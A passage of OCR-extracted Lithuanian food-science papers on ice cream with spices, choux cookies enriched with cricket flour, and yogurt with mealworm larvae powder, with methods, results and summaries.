ice cream had the highest fat content of 14 proc.. Ice cream with black tea and spice mixture (0.7
proc.) had the highest dry matter content of 39.91 proc.. Research on the texture of ice cream
demonstrated that the solubility of ice cream with added spice mixture decreased by 17.8 proc.-
22.3 proc.. During storage, the solubility of ice cream samples decreased by up to 22 proc. in ice
cream with black tea and by up to 72.21 proc. in ice cream with 0.7 proc. spice mixture added.
Sensory evaluation results indicated that ice cream with 0.4 proc. spice mixture had the best
overall taste (5 points) and flavour (5 points) acceptability. This ice cream was the most liked by
the evaluators.

Keywords: spices mixture, black tea, ice cream, ice cream solubility.
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Plikyty sausainiy su padidintu baltymuy kiekiu kokybés

ir jusliniy rodikliy poky¢iu jvertinimas

Gabija Paskeviciuté, Ingrida Kraujutiené
Kauno kolegija

Anotacija. Atlikti tyrimai su svirpliy milty priedu, panaudojus 5 proc., 10 proc.
ir 15 proc. nuo bendro milty kiekio. Tyrimams pasirinkti nuriebalinti ir nenuriebalinti
svirpliy miltai. Svirpliy milty sudétyje yra Zenklus baltymy kiekis, todél jais buvo
siekiama praturtinti plikytus sausainius. Jusliniai rodikliai lemia vartotojy perkamaja
galia, todél buvo vertinta gaminio iSvaizda, skonis, kvapas, tekstiira, taip pat fizikiniai-
cheminiai rodikliai.

Gauti tyrimo rezultatai rodo, kad minks¢iausia gaminiy tekstiira buvo antraja
diena po gamybos, o praéjus savaitei plikyti sausainiai tapo labai kieti ir trapis.
Pastebéta, kad kietesni buvo plikyti sausainiai su nenuriebalintais svirpliy miltais.

Didziausias baltymy kiekis nustatytas plikytuose sausainiuose su 15 proc.
svirpliy milty, taip pat juose buvo didziausias riebaly kiekis, tam jtakos turé¢jo
didziausias pridedamo priedo kiekis. Mineraliniy medziagy kiekis plikytuose
sausainiuose su svirpliy miltais buvo zenkliai didesnis, lyginant su kontroliniu méginiu,
taciau svirpliy milty priedas drégmés kiekiui gaminyje jtakos neturé¢jo. Lyginant méginj
be svirpliy milty ir su svirpliy miltais nustatyta, kad be svirpliy milty esantis méginys
buvo su maziausiu kiekiu kalorijy. Galima teigti, kad svirpliy milty priedas didina
bendra gaminio kaloringuma.

Raktiniai ZodZiai: plikyti sausainiai, svirpliy miltai, baltymai, riebalai, juslinis
vertinimas.

Ivadas

Plikyta teSlal, tai teSla pagaminta uZplikant miltus ir cukry verdanciu skys¢iu, su
jame iStirpusiais riebalais, atvésinant mas¢ ir sumaiSant ja su kiauSiniais ir kitais
receptliroje numatytais komponentais bei gaunant kupolo formos gaminj su tuséia oro
ertme viduje (Kurti & This-Benckhard, 2015). Plikytos teslos gaminiai yra kaloringi ir
riebais (Sapozhnikov ir kt., 2021). Jie daznai uzpildomi saldziais kremais, todél tampa dar
kaloringesni. D¢l §ios priezasties yra ieSkoma budy kaip sumazinti gaminio kaloringuma
ir praturtinti jj kitomis maistinémis medziagomis, kaip pvz. lasteliena ir baltymais.

Padidintos maistinés vertés plikyti sausainiai, papildyti vabzdziy miltais gali
biiti viena i§ alternatyvy Sios riSies gaminiams, kuriy sudétyje yra salyginai mazai
maistiniy medziagy.

Valgomieji svirpliai yra puikus baltymy, angliavandeniy, riebaly, amino
rigsciy, vitaminy (folio rugsties, pantoteno rigsties, riboflavino, biotino), ir mineraliniy

1 Dél Duonos ir pyrago kepiniy apibidinimo, gamybos ir prekinio pateikimo techninio reglamento
ir miltinés konditerijos gaminiy apibiidinimo, gamybos ir prekinio pateikimo techninio
reglamento patvirtinimo, 2014 m. spalio 28 d. Nr. 3D-794, TAR, 2014-10-28, Nr. 15024.

150



medziagy (kalcio, kalio, magnio, fosforo, natrio, gelezies, cinko, mangano, vario)
Saltinis (Magara ir kt., 2021). Taip pat juose gausu mononeso¢iyjy ir polinesoCiyjy
riebaly ragséiy (Hartwick, 2019). Miltai, pagaminti i§ malty svirpliy, turi labai daug
baltymy, kuriy virskinamumas (83,9 proc.) yra tik Siek tiek mazesnis, nei kai kuriy
baltymy prisotinty produkty (kiausiniy 95 proc., jautienos 98 proc., karvés pieno
95 proc.), bet lyginant su augaliniy produkty baltymy virSkinimu, svirpliy milty
baltyminis vir§kinamumas yra didesnis nei sory (46 proc.), kukuriizy (73 proc.), kvieciy
(81 proc.) ir ryziy (66 proc.) (Finke, 2004). Nesvarbu ar svirpliai pagauti gamtoje ar
auginami fermoje, bet jie visada turi biiti apdorojami prie§ vartojima. Apdorojimo metu,
svirpliai badauja 1-3 dienas, iki kol juos nupliko kar$tu vandeniu (Magara ir kt., 2021).
Véliau jie gali buti dZiovinami, verdami, kepami, rikomi ir kt.

Teisés akte?, kuris reglamentuoja naminiy svirpliy naudojimg maisto
produktuose, nurodomi tam tikri ribojimai, kurie susij¢ su alergija maistui ir tam tikrais
anafilaksijos atvejais. Remiantis tyrimy duomenimis, naminiy svirpliy sudétyje yra
daug galimai alergizuojanciy baltymy, todél vartojant §j produkta didesniais kiekiais nei
rekomenduojama, gali pasireik§ti organizmo jautrumas. Didziausias leidZiamas
naminiy svirpliy milty kiekis produkte — 15 proc..

Dél zmoniy neigiamo pozitrio j vabzdziy miltus (Ardoin & Prinyawiwatkul,
2021), kuriant plikyty sausainiy receptiirg svarbu atsizvelgti j gaminio i$vaizda,
aromatg, tekstiirg bei skonj. Taip pat svarbu parinkti tinkamas proporcijas: per daug
vabzdziy milty gali turéti neigiamos jtakos gaminio tekstiirai, spalvai, skoniui bei
tuscios oro ertmés susidarymui, o panaudojus per mazg kieki vabzdziy milty, nebus
akivaizdzios priedo jtakos gaminio maistinei vertei.

Tyrimo tikslas — jvertinti plikyty sausainiy su padidinta maistine verte
kokybinius rodiklius bei juslines savybes.

Tyrimo objektas — plikyti sausainiai su svirpliy miltais.

Darbo uZdaviniai:

1. Nustatyti plikyty sausainiy su padidintu lgstelienos ir baltymy kiekiu cheminius
rodiklius: baltymy, riebaly, drégmés, mineraliniy medziagy kiekj, kaloringuma;

2. Jvertinti gaminio tekstlirg laikymo metu;

3. Atlikti plikyty sausainiy su svirpliy miltais jusling analize.

Tyrimo metodai: mokslinés literatiros analizé, jusliniy savybiy apklausa
raStu, instrumentinés analizés tyrimai.

Tyrimo metodika

Tyrimo metu analizuoti plikyti sausainiai su nuriebalintais, nenuriebalintais
svirpliy miltais ir skirtingu svirpliy milty priedu (5 proc., 10 proc., 15 proc.). Visiems
analizuotiems plikytiems sausainiams buvo nustatomi baltymy, riebaly, drégmés,
mineraliniy medziagy kiekiai, tekstiira ir kaloringumas.

2 Komisijos jgyvendinimo reglamentas (ES) 2022/188, kuriuo leidziama pateikti rinkai
uzsaldytus, dZiovintus ir milteliy pavidalo naminius svirplius (Acheta domesticus) kaip nauja
maisto produkta pagal Europos Parlamento ir Tarybos reglamenta (ES) (2022 m. vasario 10 d.
Nr. 108). (2022). Europos Sqjungos oficialus leidinys, nr. 1977-0723.
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Baltymy kiekio nustatymas vykdomas Kjeldalio metodu. Metodas pagrijstas
meéginj sudeginant koncentruotoje sieros rigsSytje, katalizatoriumi naudojant vario (II)
sulfata, miSinys pasarminamas, iSsiskyrgs amoniakas distiliuojamas j perteklinj boro
riigsties tirpala, su borato riig§timi susijunges amoniakas titruojamas druskos riig§timi ir
azoto kiekis apskai¢iuojamas pagal susidariusio amoniako kiekj. Praktinio méginio kiekis
— 2 g. Atliekami 3 pakartojimai, kur tyrimy rezultaty skirtumas turi nevirSyti 0,1 g azoto.

Riebaly kiekiui nustatyti vadovaujamasi LST 1944:2003 (Lietuvos
standartizacijos departamentas, 2003) ir LST 1944:2003/1K:2013 (Lietuvos
standartizacijos departamentas, 2013) ,,Miltiniai kepiniai ir konditerijos gaminiai. Riebaly
kiekio nustatymo metodai* ir naudojamas raigStinis — Gerberio metodas. Metodas
pagristas riebaly i§skyrimu i§ méginio veikiant ji sieros rtgsStimi, izoamilo alkoholiu,
temperatiira ir iScentrine jéga. Praktinio méginio kiekis — 2 g. Atliekami 3 pakartojimai.

Drégmés kiekio nustatymas vykdomas pagal LST 1492:2013 (Lietuvos
standartizacijos departamentas, 2013) ,,Duona ir pyrago kepiniai. Drégmés kiekio
nustatymo metodai®. Méginiai dZiovinami dziovinimo spintoje 105 °C temperataroje
iki pastovios méginio masés. Tyrimui naudojami po tris kiekvienos plikyty sausainiy
risies méginiai.

Mineraliniy medziagy kiekiui nustatyta vadovaujamasi LST 1539:1998
(Lietuvos standartizacijos departamentas, 1998) ,Konditerijos gaminiai. Peleny ir
magnetiniy metalo priemai$y nustatymo metodai“. 2 g méginys deginamas mufelinéje
krosnyje 500 °C temperataroje 16 valandy, tuomet iSimamas i$ krosnies ir eksikatoriuje
atvésinamas iki kambario temperatiiros, ir pasveriamas analitinémis svarstyklémis.
Pagal skirtuma, gautg méginj sveriant prie§ deginimg ir po jo, apskai¢iuojamas peleny
kiekis. Tyrimui naudojami po tris kickvienos plikyty sausainiy rii§ies méginiai.

Kaloringumui matuoti naudojamas bombos kalorimetrinis metodas ir
naudojamas C 200 tipo IKA kalorimetras. Kalorijy kiekis skai¢iuojamas maista jdéjus j
uzdarg talpykla, vadinama kalorimetrine bomba. Tam, kad méginys tinkamai degty, ji
supa deguonis. Tuomet konteineris uzsandarinamas ir panardinamas j tam tikra kiekj
vandens. Viduje kibirkstis jziebia ugnj ir rusena, kol i§ méginio lieka pelenai. Visa
maiste buvusi energija iSlaisvinama ir virsta §iluma, kuri savo ruoztu padidina supancio
vandens temperatiirg. Pamatavus vandens temperatiiros pokytj, tiksliai zinoma, kiek
energijos buvo iSlaisvinta, ir apskai¢iuojamas maiste esantis kalorijy skaiius.
Atliekami 3 pakartojimai.

Tekstirai analizuoti naudojama LS1 serijos ,,Metek* tekstiiros analizatorius.
Tyrimo metu buvo naudojamas 11 mm skersmens cilindrinis zondas, pasirinkta kietumo
matavimo (Nexygen Plus 3.0) programa. Reikiamoje vietoje buvo padedamas 3 cm
skersmens tiriamas méginys. Méginys, buvo spaudziamas naudojant 10 N jéga,
spaudimo grietis 25 mm/min. Po méginio luzio fiksuoti duomenys, kurie nurodo
méginio kietuma. Atliekami 3 pakartojimai: 1 diena po gamybos, 2 dienos po gamybos,
1 savaité po gamybos.

Jusliniy savybiy vertinimas vykdomas degustuojant ir pildant jusliniy savybiy
vertinimo anketa. Degustacija atliko 15 vertintojy. ISvaizda, tekstiira, skonis, kvapas bei
bendras priimtinumas vertinamas 5 baly skalgje priimant, kad 1 balas — labai
blogai/labai silpnai jau¢iamas poZymis; 5 — labai gerai/labai stipriai jau¢iamas poZymis.
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Tyrimo rezultatai ir jy aptarimas

Baltymy kiekio nustatymas. Tyrimo metu gauti rezultatai parodé¢, kad svirpliy
milty priedas turéjo jtakos baltymy kiekio poky¢iui plikytuose sausainiuose. Kontrolinio
méginio baltymy kiekis — 9,23 g9/100 g produkto, o plikyty sausainiy su 15 proc. svirpliy
milty — 12,3 g/100 g produkto (1 pav.). Tad galima teigti, kad did¢jant svirpliy milty
kiekiui gaminyje, didéjo ir gaminio baltymy kiekis. Tam turi jtakos svirpliy milty
maistingumas: 100 g svirpliy milty yra 66,2 g baltymuy, kai tuo tarpu kvietiniuose miltuose
yra apie 10 g/100 g. Taip pat jtakos baltymy kiekiui turéjo nuriebalinti svirpliy miltai
lyginant su nenuriebalintais svirpliy miltais: produkte su nuriebalintais svirpliy miltais
baltymy nustatyta 10,4-12,3 g/100 g, o su nenuriebalintais svirpliy miltais baltymy
nustatyta 10,5-12,6 g/100 g.

Kaip teigiama reglamente3, produktas, kuriame yra ne maziau kaip 12 proc.
baltymy nuo bendros produkto maistinés vertés, gali buti laikomas baltymy Saltiniu.

Baltymy kiekis, proc..

14 13,30 12,60

12 10,40 10,50 11140 11,50 5
0 923 1 I I

Be svirpliy milty 5 % svirpliy milty 10 % svirpliy 15 % svirpliy
milty milty

o N A O ©

m Kontrolé Nenuriebalinti = Nuriebalinti

7 pav. Plikyty sausainiy baltymy kiekis, proc.
Pastaba: tikimybé 95 proc., tikimybés lygmuo p=0,05.

Riebaly kiekio nustatymas. Nustacius riebaly kiekj gaminiuose, matoma, kad
riebiausi sausainiai yra su 15 proc. nenuriebalinty svirpliy milty — 19,75 g/100 g
(2 pav.). Lyginant kontrole su svirpliy milty turinéiais méginiais, galima teigti, kad
svirpliy milty priedas, didina riebaly kiekj produkte: kontroliniame méginyje riebaly
nustatyta 12,5 g/100 g, o méginyje su maksimaliu kiekiu nenuriebalinty svirpliy milty
riebaly nustatyta 19,75 g/100 g. Taip yra todél, kad svirpliy miltuose riebalai sudaro
20,7 proc., o tuo tarpu kvietiniuose miltuose — tik 1 proc.

3 Europos parlamento ir tarybos reglamentas (EB) Nr. 1924/2006. Dél teiginiy apie maisto
produkty maistinguma ir sveikatingumg 2006 m. gruodzio 20 d. Europos Sgjungos oficialusis
leidinys, 404, 9-25.
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Riebaly kiekio padidéjimas produkte, pridéjus svirpliy milty pastebétas ir
kituose moksliniuose tyrimuose: padidéjimas svyruoja tarp 5-20 proc. priklausomai
nuo pridéty svirpliy milty kiekio (Kowalski ir kt., 2022; Nissen ir kt. 2020; Biro ir kt.,
2020; Tedjakusuma ir kt., 2022; Aleman ir kt., 2022; Kate ir kt., 2020).

Riebaly kiekis, proc.
25

19,75
18,75 !
20 17,50 i L1700

I 15,00
15 1250 13,50
10
5
0

Be svirpliy milty 5 % svirpliy milty 10 % svirpliy milty 15 % svirpliy milty
m Kontrolé Nenuriebalinti = Nuriebalinti

8 pav. Plikyty sausainiy riebaly kiekis, proc.
Pastaba: tikimybé 95 proc., tikimybés lygmuo p=0,05.

Drégmeés kiekio nustatymas. Atlikto tyrimo rezultatai rodo, kad plikyti
sausainiai su nenuriebalintais svirpliy miltais yra drégnesni — 28,8 proc., 32,2 proc. ir
33,7 proc. atitinkamai 5 proc., 10 proc., 15 proc. svirpliy milty kiekiui méginyje (3 pav.).
Vadovaujantis tyrimo rezultatais, galima daryti ivada, kad nors ir didéjant svirpliy
milty kiekiui nezymiai didéjo ir drégmés kiekis gaminyje, bet svirpliy miltai didelés
jtakos drégmeés kiekiui gaminyje neturi.

Remiantis moksliniais tyrimais, plikyti sausainiai, kuriy drégmés kiekis
svyruoja nuo 20 proc. iki 50 proc. yra priskiriami prie vidutinio drégnumo produkty
(Qiu ir kt., 2019).
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Drégmés kiekis, proc.
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Be svirpliy milty 5 % svirpliy milty 10 % svirpliy 15 % svirpliy
milty milty

o o

m Kontrolé Nenuriebalinti  ® Nuriebalinti

3 pav. Plikyty sausainiy drégmés kiekis, proc.
Pastaba: tikimybé 95 proc., tikimybés lygmuo p=0,05.

Mineraliniy medziagy kiekio nustatymas. Atlikto tyrimo rezultatai rodo, kad
mineraliniy medziagy kiekis méginyje, j jj pridéjus svirpliy milty priedo, padidéjo
beveik dvigubai — nuo 1,1 g/100 g iki 2 g/100 g. (4 pav.). Svirpliy miltai padidina
gaminio mineralinguma 42—45 proc..

PanaSis rezultatai aprasyti ir Kowalski (2022) bei Tedjakusuma (2022), kurie
teigia, kad svirpliy miltai mineraliniy medziagy kiekj gaminyje padidina 2—3 kartus.

Mineraliniy medziagy kiekis, g/100 g

2,5
1’9 2,0 1’9 2,0 19 2,0

2 - _ _
15 11
0,5

0

Be svirpliy milty 5 % svirpliy milty 10 % svirpliy 15 % svirpliy
milty milty

[y

m Kontrolé Nenuriebalinti  ® Nuriebalinti

9 pav. Plikyty sausainiy mineraliniy medziagy kiekis, g/100 g
Pastaba: tikimybé 95 proc., tikimybés lygmuo p=0,05.

155



Kaloringumo nustatymas. Tyrimo metu gauti rezultatai parodo, kad
kontrolinio méginio kaloringumas yra 434,6 kcal/100 g, 0 méginio su maksimaliu
kiekiu svirpliy milty kaloringumas siekia 454,4 kcal/100 g (5 pav.), tai 19,8 kcal
(11 proc.) daugiau nei kontrolinio méginio, tad galima daryti i§vada, kad svirpliy miltai,
nors ir nezymiai, bet didina gaminio kaloringuma.

Kaip teigia Kate (2020) produkto kaloringumas, pridéjus svirpliy milty,
padidéja 11-12 proc.. Taip yra todél, kad didéjant svirpliy milty kiekiui produkte, didéja
ir riebaly kiekis.

Kaloringumas, kcal/100 g

500 434.6 4415 446,8 45;1,2121’7

400 =374,1 ~1383,8
300
200
100
0

Be svirpliy milty 5 % svirpliy milty 10 % svirpliy 15 % svirpliy
milty milty

m Kontrolé Nenuriebalinti = Nuriebalinti

10 pav. Plikyty sausainiy kaloringumas, kcal/100 g
Pastaba: tikimybé 95 proc., tikimybés lygmuo p=0,05.

Kietumo nustatymas. Atliktas tekstaros tyrimas rodo, kad mink§¢iausi
gaminiai yra dvi dienas po gamybos: visy gaminiy kietumas panaSus ir svyruoja nuo
14,2-14,75 N, o kieéiausi ir trapiausi praéjus savaitei po gamybos: kie€iausias nustatytas
méginys be svirpliy milty (137,5 N), su 5 proc. ir 15 proc. svirpliy milty gaminiy
kietumas mazesnis nei kontrolinio méginio ir yra tarpusavyje panasus (124,9 N ir
123,3 N atitinkamai), o mink§¢iausias méginys nustatytas su 10 proc. svirpliy milty
(102,9 N) (6 pav.). Tyrimo rezultatai rodo, kad svirpliy miltai suteikia gaminiui
minks§tumo, nes tvir€iausios struktiiros sausainiai yra be svirpliy milty.

Kaip teigia Aleman (2022), sausainiai su svirpliy miltais yra minkStesni nei
sausainiai be svirpliy milty. Toks tekstiiros skirtumas gali bati siejamas su didesniu
drégmés bei riebaly kiekiu sausainiuose su svirpliy miltais.
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Tekstura, N
150

100

50

1d. pogamybos 2 d.pogamybos 1 sav.po gamybos

e KONtrolé 5 % svirpliy milty

e 10 % SVirpliy milty e 15 % svirpliy milty

11 pav. Plikyty sausainiy tekstaira, N

Jusliniy savybiy vertinimas. Juslinj vertinima atliko 10 respondenty. Pagal
respondenty vertinimus, tamsiausi ir maziausiu lipnumu pasizyméjo sausainiai su
15 proc. svirpliy milty priedu, mink$¢iausi — plikyti sausainiai su 10 proc. svirpliy milty
priedu (7 pav.). Respondenty nuomone, saldZiausi yra sausainiai su 5 proc. svirpliy
milty, jy saldumo jvertinimas sickia 5 balus, juose taip pat labiausiai juntamas
karamelés kvapas, kuris sickia 4 balus, o didéjant svirpliy priedui, saldumas bei
karamelinis kvapas mazéja. Taip pat, didéjant svirpliy priedo kiekiui, labiau juntamas
pasalinis ZemiSkas skonis. Pagal gautus rezultatus, respondentams priimtiniausias yra
méginys su 15 proc. svirpliy milty priedu.

Jusliniy savybiy vertinimas
e 5 % svirpliy milty 10 % svirpliy milty === 15 % svirpliy milty

Spalvos...
SP

Priimtinumas Minks$tumas

Karamelés kvapas \L Lipnumas
Zemigkas skonis aldumas

12 pav. Plikyty sausainiy juslinis vertinimas
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ISvados

1. Didziausias baltymy kiekis nustatytas plikytuose sausainiuose su 15 proc.
svirpliy milty. Didéjant svirpliy milty kiekiui produkte didéjo ir riebaly kiekis: nuo 12,5
iki 19,75 proc., tuo paciu ir kaloringumas: nuo 434,6 kcal iki 454,4 kcal, taciau gaminiy
drégmé kito nezenkliai: nuo 27,9 proc. iki 33,7 proc. Mineraliniy medziagy kiekis
visuose méginiuose su svirpliy milty priedu praktiskai nekito nepriklausomai nuo priedo
kiekio (su nenuriebalintais miltais — 1,9 g/100 g ir nuriebalintais — 2 g/100 g).

2. Atlikta teksttros analizé parod¢, kad minks¢iausi gaminiai buvo antraja
dieng po gamybos, o pragjus savaitei — tapo labai kieti ir trapiis: kontrolinio méginio
kietumas padidéjo nuo 17,8 N iki 137,5 N, o méginiy su svirpliy miltais kietumas
padidéjo nuo 18,1 N iki 124,9 N.

3. Atlikus jusliniy savybiy vertinimg ir iSanalizavus rezultatus, galima teigti,
kad visi gaminiai yra priimtini savo i§vaizda, tekstiira, skoniu ir kvapu. Méginiai skyrési
tik spalvos intensyvumu bei saldumu, kurj respondentai jvertino 5 balais (su 5 proc.
svirpliy milty) ir 4 balais (su 10 proc. svirpliy milty), bei 3 balais (su 15 proc. svirpliy
miltu). Svirpliy milty priedas mazina gaminio saldumg (su 5 proc. svirpliy milty
gaminio saldumas jvertintas 5 balais, su 10 proc. svirpliy milty 4 balais o su 15 proc.
svirpliy milty 3 balais) ir silpnéja kvapas (su 5 proc. svirpliy milty gaminio kvapo
intensyvumas jvertintas 4 balais, su 10 proc. svirpliy milty 3 balais o su 15 proc. svirpliy
milty 2 balais).
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Summary

This research was conducted using cricket flour additives of 5proc., 10proc., and 15proc. of the
total flour quantity. Cricket flour, both fatted and defatted, was chosen for the research. Cricket
flour contains significant amounts of protein; hence it was aimed at enriching Chouquette cookies.
Sensory indicators determine consumer purchasing power, thus the appearance, taste, aroma,
texture, as well as physical and chemical indicators were evaluated.

The obtained research results indicate that the texture of the products was softest on the day after
production, but after a week, the Chouquette cookies became very hard and brittle. It was noticed
that the cookies with fatted cricket flour were harder than those with defatted one.

The highest protein content was found in Chouquette cookies with 15proc. cricket flour, and they
also had the highest fat content, influenced by the highest amount of the additive. The mineral
content in Chouquettes cookies with added cricket flour was significantly higher compared to the
control sample, however, the cricket flour additive did not affect the moisture content in the
product. Comparing the samples without cricket flour and with, it was found that the sample
without cricket flour had the lowest calorie content. It can be concluded that the addition of cricket
flour increases the overall calorie content of the product.
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Jogurty su padidintu baltymuy kiekiu kokybés jvertinimas

Donara Sadzeviciuté, Ernesta Treciokiené
Kauno kolegija

Anotacija. Sio darbo tikslas jvertinti lervy ir lieso pieno milteliy jtaka jogurto
reologinéms ir technologinéms savybéms. Atlikti tyrimai: nustatytas baltymy, sausyjy
medziagy ir riebaly kiekis jogurte, jvertintas pH, iSriigy iSsiskyrimas ir klampos kitimas
laikymo metu. Rezultatai parodé, kad jogurto su lieso pieno milteliais pH praktiskai
nekito 4,65-4,64. Jogurto su lieso pieno milteliais i$siskyres isrtgy kiekis buvo
maziausias — 35,63-33,72 proc. Taciau jogurtuose su lervy miltais i$riigy i$siskyré
daugiausia (47,23-49,2 proc.). Méginiy su lieso pieno milteliais klampa laikymo metu
nekito (1 d. 2306,6 cP ir po 14 d. 2307,06 cP). Taciau jogurto su 3 proc. lervy miltais
klampa laikymo metu mazéjo, priklausomai nuo jdéto kiekio — su 2 proc. lervy
sumazéjo 67,78 proc., su 3 proc. lervy — 54,2 proc. Didinant pridedamy lieso pieno ir
lervy milteliy kiekj, jogurtuose didéjo baltymy, riebaly ir sausyjy medziagy kiekis.

Reik$miniai Zodziai: lieso pieno milteliai, lervy milteliai, jogurtas, klampa,
rigstingumas.

Ivadas

Pastaraisiais metais daugiau baltymy turintis jogurtas sulauké didesnio
vartotyjy démesio dél tekstiiros ir moksliniy jrodymy apie pieno baltymy nauda
sveikatai. Baltymy kiekis jogurte gali buti padidintas jvairiais buidais: pridedant i§riigy
milteliy, pieno milteliy, taikant membraninj filtravimg arba naudojant vabzdziy
miltelius (Jorgensen ir kt., 2019).

Baltymas yra esminis organizmo komponentas, randamas ne tik raumenyse,
bet ir plaukuose, odoje, nervuose ir kraujyje (Better Health Channel, 2021).

Tyrimo tikslas — jvertinti lieso pieno ir lervy milteliy jtaka jogurto reologinéms
ir technologinéms savybéms.

Tyrimo uzZdaviniai:

1) jvertinti lieso pieno ir lervy milteliy jtaka jogurto rtgstingumui, klampai ir
iSrigy i$siskyrimui laikymo metu,

2) nustatyti jogurtuose baltymy, riebaly ir sausy medziagy kiekius.

Tyrimo metodai. Tyrimai atlikti naudojantis instrumentiniais tyrimo metodais:
klampio, ragstingumo, pH, i$rigy kiekio ir sausyjy medZiagy vertinimas.

Lieso pieno ir lervy milteliy nauda Zmogaus organizmui

Lieso pieno ir lervy milteliai — tai yra baltymai, kurie naudingi Zmoniy
sveikatai dél gyvybiskai svarbiy maistiniy medziagy. Baltymai — sudaryti i$
aminortigi¢iy, batiny gyvybei palaikyti. Zmogaus kiinas naudoja $ias aminorfigitis
naujiems baltymams, tokiems kaip raumenys, kaulai, fermentai, hormonai ir kt. IS 20
aminorigsciy 11 gali pasigaminti pats organizmas, o 9 nepakeiCiamas riigstis reikia
gauti su maistu (Better Health Channel, 2021).
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Mokslininkai vieningai teigia, kad baltymy kiekis mityboje turéty bati
nustatomas remiantis ktino svoriu. Minimalus baltymy suvartojimo kiekis Zmogui, kuris
nesportuoja, yra 1,2-1,8 g/kg. Jei Zmogus sveria 50 kg, rekomenduojama suvartoti ne
maziau kaip 60-90 g baltymy per diena. Sportuojantiesiems zmonéms patariama
suvartoti didesn;j kiekj — nuo 1,4 iki 2 g baltymy 1kg kiino svorio, nes geresnis raumeny
apriipinimas baltymais leidZia greiciau atsistatyti po treniruo¢iy ir skatina naujy baltymy
sintez¢ (Martin, Armstrong, Rodriguez, 2005).

Didesnis baltymy kiekis mityboje gali teigiamai veikti bendra pagyvenusiy
zmoniy sveikatg ir netgi padeéti iSvengti kauly retéjimo, nes baltymai yra butini kauly ir
raumeny buklés palaikymui. Pagyvenusiy zmoniy organizmas prastai pasisavina
baltymus, todél rekomenduojama suvartoti didesnj jy kiekj, siekiant pagerinti jy
pasisavinimg (Lietuvos medicina, 2020).

Jogurtas, turintis didelj baltymy kiekj, gali bati naudojamas kaip mésos
alternatyva, apraipinant iki 35 proc. paros normos Kalio ir kity svarbiy mineraly bei
vitaminy, tokiy kaip riboflavinas By, vitaminas Bi,. Su didéjanciu supratimu apie
jogurto naudg sveikatai, jo populiarumas ir platinimas iSaugo pasauliniu mastu
(Chandan ir kt., 2017).

Jogurty su padidintu baltymy kiekiu tyrimai

Daug baltymy turintys jogurtai gali biiti naudingi sportinéje mityboje, skatinant
aminortigsciy kiekj, raumeny sintez¢ ir padedant laikytis kaloringos dietos. Jogurty
praturtinimui daznai naudojamas pieno baltymy koncentratas, kuris padidina baltymy
kieki be didelio laktozés kiekio pridéjimo. Buvo atlikti tyrimai, kurie parodé, kad
neriebiuose jogurtuose, praturtintuose pieno baltymy koncentratu, baltymy kiekis
svyravo maziau kaip 8 proc., o laktozés kiekis buvo ne maziau kaip 5 proc. Jogurtai su
baltymy kiekiu vir§ 8 proc. turéjo grudéta tekstiira (Jorgensen ir kt., 2019).

Vabzdziy baltymai pastaruoju metu laikomi vienu tvariausiy baltymy Saltiniy
maisto pramonéje. Vidutinis baltymy kiekis vabzdZiuose svyruoja nuo 40 iki 70 proc.
sausos masés, priklausomai nuo valgomyjy vabzdziy raSies, tokiy kaip vabalai,
svirpliai, viksrai, skériai ir Ziogai. Vabzdziy baltymai turi keletg pagrindiniy privalumy,
iskaitant nepakei¢iamy aminorigséiy kiekj, didesnj virskinamuma (76-98 proc.),
palyginti su augaliniais baltymais, ir Siek tiek daugiau ekologi$kesni nei gyvuniniai
baltymai, nes iSmetama maziau Siltnamio efektg sukelianéiy dujy ir amoniako. Be Sios
naudos, valgomyjy vabzdziy derlius ir jy baltymy gavyba gali biiti maisto saugumo
garantija, nes pasaulyje nuolat auga gyventojy skaicius ir mazéja dirbamos zemés plotai
(Gharibzahedi ir kt., 2024).

Buvo atlikti tyrimai, kuriuose jogurtas praturtintas mazyjy milty kirméliy baltymy
izoliatais, fermentuotais Streptomyces mobaraensis bakterijomis ir mikrobine
transglutaminaze. Rezultatai atskleidé naujas galimybes sumazinti riebaly kiekj tokio tipo
produkte. Milty kirméliy baltymy izoliatas, turintis 59,6 proc. baltymy, 28,7 proc. riebaly,
3,7 proc. chitino, 2,7 proc. angliavandeniy ir 0,9 proc. druskos buvo patvirtintas kaip tvarus
baltymy Saltinis. Si inovacija ne tik atvéré galimybes praturtinti jogurta baltymais, bet ir
paspartino vabzdziy baltymy vartojima maisto pramongje (Gharibzahedi ir kt., 2024).

Norint patenkinti didéjant] pieno produkty, turin¢iy baltymy, poreikj, buvo
atliktas tyrimas, jmaiSant Oxya chinensis sinuosa ziogo miltelius j jogurta. Oxya
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chinensis sinuosa — ziogas yra vertingas baltymy $altinis, turintis apie 748,8 g/kg sausos
masés baltymy. Tyrimo metu siekta sukurti daug baltymy turintj jogurta, pagerinant
juslines savybes. Tyrimams buvo pasirinktos skirtingos koncentracijos ziogo milteliy
(0,5 proc., 1 proc. ir 2 proc.). Gauti daug baltymy turintys jogurtai i$laiké panasy pH,
titruojama rugstinguma ir baltymy kiekj, bet jusliniy vertinimy metu spalva, tekstira,
skonis ir bendras priimtinumas mazéjo proporcingai didéjant ziogo milteliy kiekiui
(Kim ir kt., 2017).

Tyrimo metodika

Tyrimo objektai. Kontrolinis jogurtas tik i§ pieno, ir jogurtai su lieso pieno ir
lervy milteliais. Kontrolinio jogurto sudétis: 3,5 proc. pienas, YO-MIXTM 883 LYO
50 DCU raugas. Jogurto su lervy milteliais sudétis: 3,5 proc. pienas, 3 proc. ir 2 proc.
Tenebrio molitor lervy milteliai, YO-MIXTM 883 LYO 50 DCU raugas.

Jogurto su lieso pieno milteliais sudétis: 3,5 proc. pienas, 3 proc. lieso pieno
milteliy, YO-MIXTM 883 LYO 50 DCU raugas.

Klampio nustatymas. Jogurto klampis buvo tiriamas reometru Fungilab, esant
20 °C temperatiirai. Tyrimo metu buvo naudojamas R2 sukinys, pasirinktas sukinio
greitis 3.00-20.00 rpm, tyrimo trukmé — 120 s. Tyrimui pateikti 4 méginiai: kontrolinis,
jogurtas su lieso pieno milteliais ir su lervy milteliais 2 ir 3 proc..

Sausyjy medziagy kiekio nustatymas. Sausy medziagy kiekio nustatymas
jogurtuose buvo atliktas su KERN firmos drégnomaciu MLB 50-3.

pH nustatymas. pH nustatymas jogurtuose buvo atliktas su pH-metru Extech
ExStik (Lietuvos standartizacijos departamentas, 2013).

Riebaly kiekio nustatymas. Riebaly kiekis buvo nustatomas rugstinio Gerberio
metodu (Lietuvos standartizacijos departamentas, 2009).

I$riigy kiekio nustatymas pagal Joon ir kt., (2017). I mégintuvélj atsveriama po
30 g jogurto. Centrifuguojama 15 min ne mazesniu nei 3390 aps/min greiciu 15 min. Po
